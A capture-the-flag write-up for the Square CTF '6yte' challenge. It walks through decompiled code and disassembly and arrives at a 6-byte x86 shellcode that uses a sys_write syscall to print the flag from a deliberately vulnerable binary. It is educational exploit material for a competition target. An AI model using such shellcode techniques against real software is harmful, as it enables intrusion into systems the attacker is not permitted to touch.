Square CTF writeup — 6yte


Clearly, this challenge is not worthy 1000 points, it is actually pretty easy if you are familiar with x86 assembly.

Download the binary, and do a quick decompile, go through the main() function and read_flag() function, we can find out:

  1. The flag is read into the address passed to read_flag()
  2. After calling read_flag(), it jumps to the mmap() memory allocated for us and of course the shellcode we pass from cmdline is saved right inside it.
    v5 = mmap(NULL, 6, 7, 33, -1, 0);
if (v2 == 0) {
// 0x8048889
printf("Shellcode location: %p\n", v5);
v4 = &v6;
printf("Flag location: %p\n", &v6);
g4 = v4;
g5 = 5;
g3 = 1;
g1 = 4;
((int32_t (*)())v5)();
return 0;

So, all we need to do in our shellcode is display the flag saved in v4. Since we have to write assembly code, now let’s take a look at the corresponding assembly code:

0x80488c9:   50                               push eax
0x80488ca: e8 1c fe ff ff call 0x80486eb <read_flag>
0x80488cf: 83 c4 10 add esp, 0x10
0x80488d2: 8d 85 68 ff ff ff lea eax, dword [ ebp + 0xffffff68 ]
0x80488d8: 89 c7 mov edi, eax
0x80488da: ba 05 00 00 00 mov edx, 0x5
0x80488df: bb 01 00 00 00 mov ebx, 0x1
0x80488e4: b8 04 00 00 00 mov eax, 0x4
0x80488e9: ff 65 e8 jmp dword [ ebp + 0xffffffe8 ]

So the C variable v4 is actually eax register, and the flag is right at the address saved in eax. How can we show it?

My first thought is to call printf(), it is not hard at all to find a %2x string in this binary, however, it is hard to figure out the address of printf().

Then, the second thought is to call write() directly. Lookup the syscall table, I realize that this must be the right direction because eax and ebx are already set properly for us in the binary!! Look, eax is already 0x4 which the syscall number of sys_write(), ebx is 0x1 which is STDOUT… Hmm, so all we need to do is:

  1. Set ecx (aka buf pointer) to v4, which is now edi
  2. Set edx (aka, count) to a reasonable large value, otherwise it is merely 5
  3. Trigger the syscall with int 0x80

Therefore we get this:

% rasm2 'mov edx, 0x40; mov ecx, edi; int 0x80'

Clearly this is longer than 6 bytes… As we can see there are some unnecessary 0’s, also note that edx was already set to 0x5, this means we only have to set dh instead of the whole edx!

So the final shellcode is:

% rasm2 'mov dh, 0x1; mov ecx, edi; int 0x80'

Challenge solved!

One clap, two clap, three clap, forty?

By clapping more or less, you can signal to us which stories really stand out.